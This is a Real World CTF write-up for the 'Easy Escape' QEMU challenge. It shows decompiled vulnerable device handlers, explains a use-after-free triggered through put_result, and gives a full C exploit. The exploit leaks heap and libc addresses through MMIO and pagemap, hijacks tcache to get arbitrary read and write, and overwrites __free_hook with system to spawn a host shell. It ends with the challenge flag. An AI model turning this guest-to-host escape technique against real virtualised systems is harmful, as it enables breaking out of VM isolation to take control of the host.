Rating: 1.5

## [Real World CTF 3rd](https://ctftime.org/event/1198) - Esay Escape

Qemu with a preset vulnerability.

### Hint

Just have fun and enjoy the [game](https://rwctf2021.s3-us-west-1.amazonaws.com/Easy_Escape-8d5ece9b06d837ee7271378771e23fbdad7dab9a.tgz). :)

Running environment: Ubuntu 20.04

nc 13.52.35.2 10918

### vulnerability

Thanks for the tips from Master remilia, or not I can't find the loophole at all.

```c++
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( LODWORD(req->total_size) && val <= 0x7E && val < (LODWORD(req->total_size) >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}

void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( LODWORD(req->total_size) && val <= 0x7E && val < (LODWORD(req->total_size) >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}

void __cdecl put_result(FunState *fun, uint32_t_0 val)
{
uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
result = val;
dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
}
```

To be honest, the put_result function has always been ignored by me, and I've always thought of it as the ordinary puts.

`put_result` that can also trigger `delete_req` will lead to illegal writing after deleting in `handle_data_read` and illegal reading after deleting in `handle_data_write`, just need to make fun->result_addr point to physical memory of the mmio device.

### EXP

```c++
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>

void print_hex(unsigned char *addr, int size, int mode)
{
int i, ii;
unsigned long long temp;
switch (mode)
{
case 0:
for (i = 0; i < size;)
{
for (ii = 0; i < size && ii < 8; i++, ii++)
{
printf("%02X ", addr[i]);
}
printf(" ");
for (ii = 0; i < size && ii < 8; i++, ii++)
{
printf("%02X ", addr[i]);
}
puts("");
}
break;

case 1:
for (i = 0; i < size;)
{
temp = *(unsigned long long *)(addr + i);
for (ii = 0; i < size && ii < 8; i++, ii++)
{
printf("%02X ", addr[i]);
}
printf(" ");
printf("0x%llx\n", temp);
}
break;
}
}

char *mmio_mem;
size_t mmio_result;
#define MMIO_WRITE(addr, value) (*((uint32_t *)(mmio_mem + (addr))) = (value));
#define MMIO_READ(addr) (mmio_result = *((uint32_t *)(mmio_mem + (addr))));

char *get_phys_addr(char *vir_addr)
{
#define PFN_MASK ((((size_t)1) << 54) - 1)

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
size_t vir = (size_t)vir_addr;
// 0x1000 gets the n of the nth page, because a record data is 8 bytes, so *8, it is the offset of the record of the page in the file
size_t offset = vir / 0x1000 * 8;
if (lseek(fd, offset, SEEK_SET) == -1)
{
perror("lseek");
exit(EXIT_FAILURE);
}
size_t addr;
if (read(fd, &addr, 8) != 8)
{
perror("read");
exit(EXIT_FAILURE);
}
addr = (addr & PFN_MASK) * 0x1000;
return (char *)addr;
}

int main()
{
int mmio_fd, fd;
char *userspace, *pic_addr = NULL, *addr, *control_addr, *tcache, *Req;
char buf[0x100], tcache_raw[0x400], base64_buf[0x1000];
char *image_base, *puts_addr, *system_addr, *libc_addr, *__free_hook;

setbuf(stdout, NULL);

// Open and map I/O memory for the string device
mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}

/* Get PCI physical address */
fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource", O_RDONLY);
if (fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
memset(buf, 0, sizeof(buf));
read(fd, buf, sizeof(buf));
close(fd);
sscanf(buf, "%p", &pic_addr);
printf("PIC address: %p\n", pic_addr);

mmio_mem = mmap((void *)0xabc0000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

if (mmio_mem == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}

userspace = mmap((void *)0x1230000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(userspace, 0, 0x1000);

printf("mmio_mem: %p\n", mmio_mem);
MMIO_WRITE(0, 0xbff); // size -> 0xc00
MMIO_WRITE(0x14, 0); // malloc

printf("phys: %p\n", get_phys_addr((char *)userspace));

MMIO_WRITE(0x4, (size_t)get_phys_addr(userspace)); // addr
MMIO_WRITE(0xc, 0); // index

MMIO_WRITE(0x8, (size_t)pic_addr + 0x18); // To trigger delete_req
memset(userspace, 0, 0x1000);

/* Use tcache_entry->key to leak tcache information and find opaque->req */
MMIO_READ(0x10); // illegal reading after deleting
// print_hex(userspace, 0x400, 1); // delete after read
Req = *(char **)(userspace + 0x80 + 0x3f * 8); // tcache_chunk->size = 0x410
printf("Req: %p\n", Req);
memcpy(tcache_raw, userspace, 0x400);

/* The principle is the same as above */
MMIO_WRITE(0, 0xbff); // size -> 0xc00
MMIO_WRITE(0x14, 0); // malloc
MMIO_WRITE(0xc, 1); // index
memset(userspace, 0, 0x1000); // initialize buffer
MMIO_READ(0x10); // illegal reading after deleting
// print_hex(userspace + 0x400, 0x40, 1); // delete after read

tcache = *(char **)(userspace + 0x400 + 8);
printf("tcache: %p\n", tcache);

/* Hijack tcache_entry->next to form a loop chain by illegal writing after deleting. */
MMIO_WRITE(0, 0xbff); // size -> 0xc00
MMIO_WRITE(0x14, 0); // malloc
MMIO_WRITE(0xc, 1); // index
memset(userspace, 0, 0x1000); // initialize buffer

*(char **)(userspace + 0x400 + 0) = Req; // double link
*(char **)(userspace + 0x400 + 8) = tcache; // tcache
MMIO_WRITE(0x10, 0); // illegal writing after deleting

/* Then we can Read and write at any address. */
MMIO_WRITE(0, 0xbff); // size -> 0xc00
MMIO_WRITE(0x14, 0); // malloc
MMIO_WRITE(0x8, 0); // disable the vulnerability

/* set address */
#define SET(address) \
memset(userspace, 0, 0x1000); \
*(int *)(userspace + 0x800 + 0) = 0xbff; \
*(char **)(userspace + 0x800 + 8) = (address); \
*(char **)(userspace + 0x800 + 0x10) = 0; \
*(char **)(userspace + 0x800 + 0x18) = Req; \
MMIO_WRITE(0xc, 2); \
MMIO_WRITE(0x10, 0); \
MMIO_WRITE(0xc, 0);

/* read memory */
#define READ(address) \
SET((address)); \
MMIO_READ(0x10);

/* I can only search memory addresses everywhere, but fortunately, there are many relative addresses of the program. */
printf("find: %p\n", *(char **)(tcache_raw + 92 * 8));
READ(*(char **)(tcache_raw + 92 * 8));
// print_hex(userspace, 0x400, 1); // show

addr = *(char **)(userspace + 108 * 8);
printf("find: %p\n", addr);
READ(addr);
// print_hex(userspace, 0x400, 0); // show
image_base = addr - 0x6761b0;
printf("image_base: %p\n", image_base);

addr = image_base + 0x100DD38;
READ(addr);
puts_addr = *(char **)userspace;
printf("puts_addr: %p\n", puts_addr);

libc_addr = puts_addr - 0x875a0;
system_addr = libc_addr + 0x55410;
__free_hook = libc_addr + 0x1eeb28;

/* getshell */
SET(__free_hook - 8);
strcpy(userspace, "/bin/sh");
*(char **)(userspace + 8) = system_addr;
MMIO_WRITE(0x10, 0); // dma_read
MMIO_WRITE(0x18, 0); // delete

puts("end");

return 0;
}
/* rwctf{OhhohohO_yoU_Got_mE} */

```

Original writeup (http://blog2.eonew.cn/archives/26).